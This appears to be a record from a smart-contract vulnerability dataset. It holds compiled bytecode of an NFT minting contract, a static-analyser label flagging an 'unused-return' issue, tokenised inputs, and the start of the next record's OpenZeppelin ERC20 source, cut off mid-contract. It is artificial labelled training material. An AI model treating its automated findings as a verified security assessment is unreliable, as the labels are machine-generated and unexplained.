fffffffffffffffffffffffffffffffffffffff16610b1e61113e565b73ffffffffffffffffffffffffffffffffffffffff1614610b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6b90613057565b60405180910390fd5b605082829050600a54610b8791906130a6565b1115610bc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbf90613148565b60405180910390fd5b6000610bd2610c54565b905082829050600a6000828254610be991906130a6565b9250508190555060005b83839050811015610c4e57610c3b848483818110610c1457610c13613168565b5b9050602002016020810190610c299190612b68565b83610c3390613197565b935083611be0565b8080610c4690613197565b915050610bf3565b50505050565b6000600a54600954610c6691906130a6565b905090565b610c7c610c76611b1f565b82611dae565b610cbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb290613252565b60405180910390fd5b610cc6838383611e8c565b505050565b605081565b60095481565b610cf183838360405180602001604052806000815250611675565b505050565b610cfe611b1f565b73ffffffffffffffffffffffffffffffffffffffff16610d1c61113e565b73ffffffffffffffffffffffffffffffffffffffff1614610d72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6990613057565b60405180910390fd5b818160079190610d8392919061263e565b505050565b611bd0610320610d9891906130a6565b81565b6000806003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3b906132e4565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ebe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb590613376565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f0d611b1f565b73ffffffffffffffffffffffffffffffffffffffff16610f2b61113e565b73ffffffffffffffffffffffffffffffffffffffff1614610f81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7890613057565b60405180910390fd5b610f8b60006120e8565b565b610f95611b1f565b73ffffffffffffffffffffffffffffffffffffffff16610fb361113e565b73ffffffffffffffffffffffffffffffffffffffff1614611009576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100090613057565b60405180910390fd5b8060088190555050565b61101b611b1f565b73ffffffffffffffffffffffffffffffffffffffff1661103961113e565b73ffffffffffffffffffffffffffffffffffffffff161461108f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108690613057565b60405180910390fd5b600047116110d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c9906133e2565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611118573d6000803e3d6000fd5b50565b600b6020528060005260406000206000915090505481565b668a8e4b1a3d800081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611bd081565b60606002805461117c90612e23565b80601f01602080910402602001604051908101604052809291908181526020018280546111a890612e23565b80156111f55780601f106111ca576101008083540402835291602001916111f5565b820191906000526020600020905b8154815290600101906020018083116111d857829003601f168201915b5050505050905090565b60085481565b61032081565b61032060095410156112fd576103208160095461122891906130a6565b1115611269576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112609061344e565b60405180910390fd5b60085481600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b791906130a6565b11156112f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ef906134ba565b60405180910390fd5b611440565b611bd061032061130d91906130a6565b8160095461131b91906130a6565b111561135c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113539061344e565b60405180910390fd5b601481600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113a991906130a6565b11156113ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e190613526565b60405180910390fd5b80668a8e4b1a3d80006113fd9190613546565b34101561143f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611436906135ec565b60405180910390fd5b5b600061144a610c54565b9050816009600082825461145e91906130a6565b9250508190555081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114b491906130a6565b9250508190555060005b828110156114ef576114dc33836114d490613197565b935083611be0565b80806114e790613197565b9150506114be565b505050565b6114fc611b1f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561156a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156190613658565b60405180910390fd5b8060066000611577611b1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611624611b1f565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516116699190612795565b60405180910390a35050565b611686611680611b1f565b83611dae565b6116c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bc90613252565b60405180910390fd5b6116d1848484846121ac565b50505050565b600a5481565b60606116e882611ab3565b611727576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171e906136ea565b60405180910390fd5b6000611731612208565b90506000815111611751576040518060200160405280600081525061177c565b8061175b8461229a565b60405160200161176c929190613746565b6040516020818303038152906040525b915050919050565b61178c611b1f565b73ffffffffffffffffffffffffffffffffffffffff166117aa61113e565b73ffffffffffffffffffffffffffffffffffffffff1614611800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f790613057565b60405180910390fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611f4081565b601481565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1663c4552791866040518263ffffffff1660e01b81526004016118c7919061290f565b60206040518083038186803b1580156118df57600080fd5b505afa1580156118f3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061191791906137a8565b73ffffffffffffffffffffffffffffffffffffffff16141561193d57600191505061194b565b61194784846123fb565b9150505b92915050565b611959611b1f565b73ffffffffffffffffffffffffffffffffffffffff1661197761113e565b73ffffffffffffffffffffffffffffffffffffffff16146119cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c490613057565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3490613847565b60405180910390fd5b611a46816120e8565b50565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816005600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611b9a83610d9b565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c47906138b3565b60405180910390fd5b611c5981611ab3565b15611c99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c909061391f565b60405180910390fd5b611ca56000838361248f565b6001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611cf591906130a6565b92505081905550816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b6000611db982611ab3565b611df8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611def906139b1565b60405180910390fd5b6000611e0383610d9b565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611e7257508373ffffffffffffffffffffffffffffffffffffffff16611e5a8461095b565b73ffffffffffffffffffffffffffffffffffffffff16145b80611e835750611e82818561184f565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611eac82610d9b565b73ffffffffffffffffffffffffffffffffffffffff1614611f02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef990613a43565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6990613ad5565b60405180910390fd5b611f7d83838361248f565b611f88600082611b27565b6001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611fd89190613af5565b925050819055506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461202f91906130a6565b92505081905550816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6121b7848484611e8c565b6121c384848484612494565b612202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f990613b9b565b60405180910390fd5b50505050565b60606007805461221790612e23565b80601f016020809104026020016040519081016040528092919081815260200182805461224390612e23565b80156122905780601f1061226557610100808354040283529160200191612290565b820191906000526020600020905b81548152906001019060200180831161227357829003601f168201915b5050505050905090565b606060008214156122e2576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506123f6565b600082905060005b600082146123145780806122fd90613197565b915050600a8261230d9190613bea565b91506122ea565b60008167ffffffffffffffff8111156123305761232f612c06565b5b6040519080825280601f01601f1916602001820160405280156123625781602001600182028036833780820191505090505b5090505b600085146123ef5760018261237b9190613af5565b9150600a8561238a9190613c1b565b603061239691906130a6565b60f81b8183815181106123ac576123ab613168565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856123e89190613bea565b9450612366565b8093505050505b919050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b505050565b60006124b58473ffffffffffffffffffffffffffffffffffffffff1661262b565b1561261e578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026124de611b1f565b8786866040518563ffffffff1660e01b81526004016125009493929190613ca1565b602060405180830381600087803b15801561251a57600080fd5b505af192505050801561254b57506040513d601f19601f820116820180604052508101906125489190613d02565b60015b6125ce573d806000811461257b576040519150601f19603f3d011682016040523d82523d6000602084013e612580565b606091505b506000815114156125c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125bd90613b9b565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612623565b600190505b949350505050565b600080823b905060008111915050919050565b82805461264a90612e23565b90600052602060002090601f01602090048101928261266c57600085556126b3565b82601f1061268557803560ff19168380011785556126b3565b828001600101855582156126b3579182015b828111156126b2578235825591602001919060010190612697565b5b5090506126c091906126c4565b5090565b5b808211156126dd5760008160009055506001016126c5565b5090565b6000604051905090565b600080fd5b600080fd5b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b61272a816126f5565b811461273557600080fd5b50565b60008135905061274781612721565b92915050565b600060208284031215612763576127626126eb565b5b600061277184828501612738565b91505092915050565b60008115159050919050565b61278f8161277a565b82525050565b60006020820190506127aa6000830184612786565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156127ea5780820151818401526020810190506127cf565b838111156127f9576000848401525b50505050565b6000601f19601f8301169050919050565b600061281b826127b0565b61282581856127bb565b93506128358185602086016127cc565b61283e816127ff565b840191505092915050565b600060208201905081810360008301526128638184612810565b905092915050565b6000819050919050565b61287e8161286b565b811461288957600080fd5b50565b60008135905061289b81612875565b92915050565b6000602082840312156128b7576128b66126eb565b5b60006128c58482850161288c565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006128f9826128ce565b9050919050565b612909816128ee565b82525050565b60006020820190506129246000830184612900565b92915050565b612933816128ee565b811461293e57600080fd5b50565b6000813590506129508161292a565b92915050565b6000806040838503121561296d5761296c6126eb565b5b600061297b85828601612941565b925050602061298c8582860161288c565b9150509250929050565b600080fd5b600080fd5b600080fd5b60008083601f8401126129bb576129ba612996565b5b8235905067ffffffffffffffff8111156129d8576129d761299b565b5b6020830191508360208202830111156129f4576129f36129a0565b5b9250929050565b60008060208385031215612a1257612a116126eb565b5b600083013567ffffffffffffffff811115612a3057612a2f6126f0565b5b612a3c858286016129a5565b92509250509250929050565b612a518161286b565b82525050565b6000602082019050612a6c6000830184612a48565b92915050565b600080600060608486031215612a8b57612a8a6126eb565b5b6000612a9986828701612941565b9350506020612aaa86828701612941565b9250506040612abb8682870161288c565b9150509250925092565b60008083601f840112612adb57612ada612996565b5b8235905067ffffffffffffffff811115612af857612af761299b565b5b602083019150836001820283011115612b1457612b136129a0565b5b9250929050565b60008060208385031215612b3257612b316126eb565b5b600083013567ffffffffffffffff811115612b5057612b4f6126f0565b5b612b5c85828601612ac5565b92509250509250929050565b600060208284031215612b7e57612b7d6126eb565b5b6000612b8c84828501612941565b91505092915050565b612b9e8161277a565b8114612ba957600080fd5b50565b600081359050612bbb81612b95565b92915050565b60008060408385031215612bd857612bd76126eb565b5b6000612be685828601612941565b9250506020612bf785828601612bac565b9150509250929050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c3e826127ff565b810181811067ffffffffffffffff82111715612c5d57612c5c612c06565b5b80604052505050565b6000612c706126e1565b9050612c7c8282612c35565b919050565b600067ffffffffffffffff821115612c9c57612c9b612c06565b5b612ca5826127ff565b9050602081019050919050565b82818337600083830152505050565b6000612cd4612ccf84612c81565b612c66565b905082815260208101848484011115612cf057612cef612c01565b5b612cfb848285612cb2565b509392505050565b600082601f830112612d1857612d17612996565b5b8135612d28848260208601612cc1565b91505092915050565b60008060008060808587031215612d4b57612d4a6126eb565b5b6000612d5987828801612941565b9450506020612d6a87828801612941565b9350506040612d7b8782880161288c565b925050606085013567ffffffffffffffff811115612d9c57612d9b6126f0565b5b612da887828801612d03565b91505092959194509250565b60008060408385031215612dcb57612dca6126eb565b5b6000612dd985828601612941565b9250506020612dea85828601612941565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612e3b57607f821691505b60208210811415612e4f57612e4e612df4565b5b50919050565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b6000612eb1602c836127bb565b9150612ebc82612e55565b604082019050919050565b60006020820190508181036000830152612ee081612ea4565b9050919050565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f436021836127bb565b9150612f4e82612ee7565b604082019050919050565b60006020820190508181036000830152612f7281612f36565b9050919050565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b6000612fd56038836127bb565b9150612fe082612f79565b604082019050919050565b6000602082019050818103600083015261300481612fc8565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006130416020836127bb565b915061304c8261300b565b602082019050919050565b6000602082019050818103600083015261307081613034565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006130b18261286b565b91506130bc8361286b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130f1576130f0613077565b5b828201905092915050565b7f4d41584700000000000000000000000000000000000000000000000000000000600082015250565b60006131326004836127bb565b915061313d826130fc565b602082019050919050565b6000602082019050818103600083015261316181613125565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006131a28261286b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156131d5576131d4613077565b5b600182019050919050565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b600061323c6031836127bb565b9150613247826131e0565b604082019050919050565b6000602082019050818103600083015261326b8161322f565b9050919050565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b60006132ce6029836127bb565b91506132d982613272565b604082019050919050565b600060208201905081810360008301526132fd816132c1565b9050919050565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b6000613360602a836127bb565b915061336b82613304565b604082019050919050565b6000602082019050818103600083015261338f81613353565b9050919050565b7f5a45524f00000000000000000000000000000000000000000000000000000000600082015250565b60006133cc6004836127bb565b91506133d782613396565b602082019050919050565b600060208201905081810360008301526133fb816133bf565b9050919050565b7f4d41584c00000000000000000000000000000000000000000000000000000000600082015250565b60006134386004836127bb565b915061344382613402565b602082019050919050565b600060208201905081810360008301526134678161342b565b9050919050565b7f4d41584600000000000000000000000000000000000000000000000000000000600082015250565b60006134a46004836127bb565b91506134af8261346e565b602082019050919050565b600060208201905081810360008301526134d381613497565b9050919050565b7f4d41585000000000000000000000000000000000000000000000000000000000600082015250565b60006135106004836127bb565b915061351b826134da565b602082019050919050565b6000602082019050818103600083015261353f81613503565b9050919050565b60006135518261286b565b915061355c8361286b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561359557613594613077565b5b828202905092915050565b7f5345544800000000000000000000000000000000000000000000000000000000600082015250565b60006135d66004836127bb565b91506135e1826135a0565b602082019050919050565b60006020820190508181036000830152613605816135c9565b9050919050565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b60006136426019836127bb565b915061364d8261360c565b602082019050919050565b6000602082019050818103600083015261367181613635565b9050919050565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b60006136d4602f836127bb565b91506136df82613678565b604082019050919050565b60006020820190508181036000830152613703816136c7565b9050919050565b600081905092915050565b6000613720826127b0565b61372a818561370a565b935061373a8185602086016127cc565b80840191505092915050565b60006137528285613715565b915061375e8284613715565b91508190509392505050565b6000613775826128ee565b9050919050565b6137858161376a565b811461379057600080fd5b50565b6000815190506137a28161377c565b92915050565b6000602082840312156137be576137bd6126eb565b5b60006137cc84828501613793565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006138316026836127bb565b915061383c826137d5565b604082019050919050565b6000602082019050818103600083015261386081613824565b9050919050565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b600061389d6020836127bb565b91506138a882613867565b602082019050919050565b600060208201905081810360008301526138cc81613890565b9050919050565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b6000613909601c836127bb565b9150613914826138d3565b602082019050919050565b60006020820190508181036000830152613938816138fc565b9050919050565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b600061399b602c836127bb565b91506139a68261393f565b604082019050919050565b600060208201905081810360008301526139ca8161398e565b9050919050565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b6000613a2d6029836127bb565b9150613a38826139d1565b604082019050919050565b60006020820190508181036000830152613a5c81613a20565b9050919050565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613abf6024836127bb565b9150613aca82613a63565b604082019050919050565b60006020820190508181036000830152613aee81613ab2565b9050919050565b6000613b008261286b565b9150613b0b8361286b565b925082821015613b1e57613b1d613077565b5b828203905092915050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b6000613b856032836127bb565b9150613b9082613b29565b604082019050919050565b60006020820190508181036000830152613bb481613b78565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613bf58261286b565b9150613c008361286b565b925082613c1057613c0f613bbb565b5b828204905092915050565b6000613c268261286b565b9150613c318361286b565b925082613c4157613c40613bbb565b5b828206905092915050565b600081519050919050565b600082825260208201905092915050565b6000613c7382613c4c565b613c7d8185613c57565b9350613c8d8185602086016127cc565b613c96816127ff565b840191505092915050565b6000608082019050613cb66000830187612900565b613cc36020830186612900565b613cd06040830185612a48565b8181036060830152613ce28184613c68565b905095945050505050565b600081519050613cfc81612721565b92915050565b600060208284031215613d1857613d176126eb565b5b6000613d2684828501613ced565b9150509291505056fea264697066735822122090bc3bcc308602d2cd1bf173fed3b9dc577dfb6519d17459c385dd5739ad0c3564736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 11329, 26976, 2581, 17465, 2094, 2475, 2497, 2581, 2683, 18139, 26976, 2683, 21926, 29345, 16932, 2620, 23352, 2497, 2509, 2497, 2575, 2581, 27421, 8889, 15878, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1018, 1012, 2570, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 3206, 2219, 3085, 9247, 29107, 2618, 21572, 18037, 1063, 1065, 3206, 24540, 2890, 24063, 2854, 1063, 12375, 1006, 4769, 1027, 1028, 2219, 3085, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,558
0x96FC70D18df71299B7C49A5CB5543069377d21B1
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } 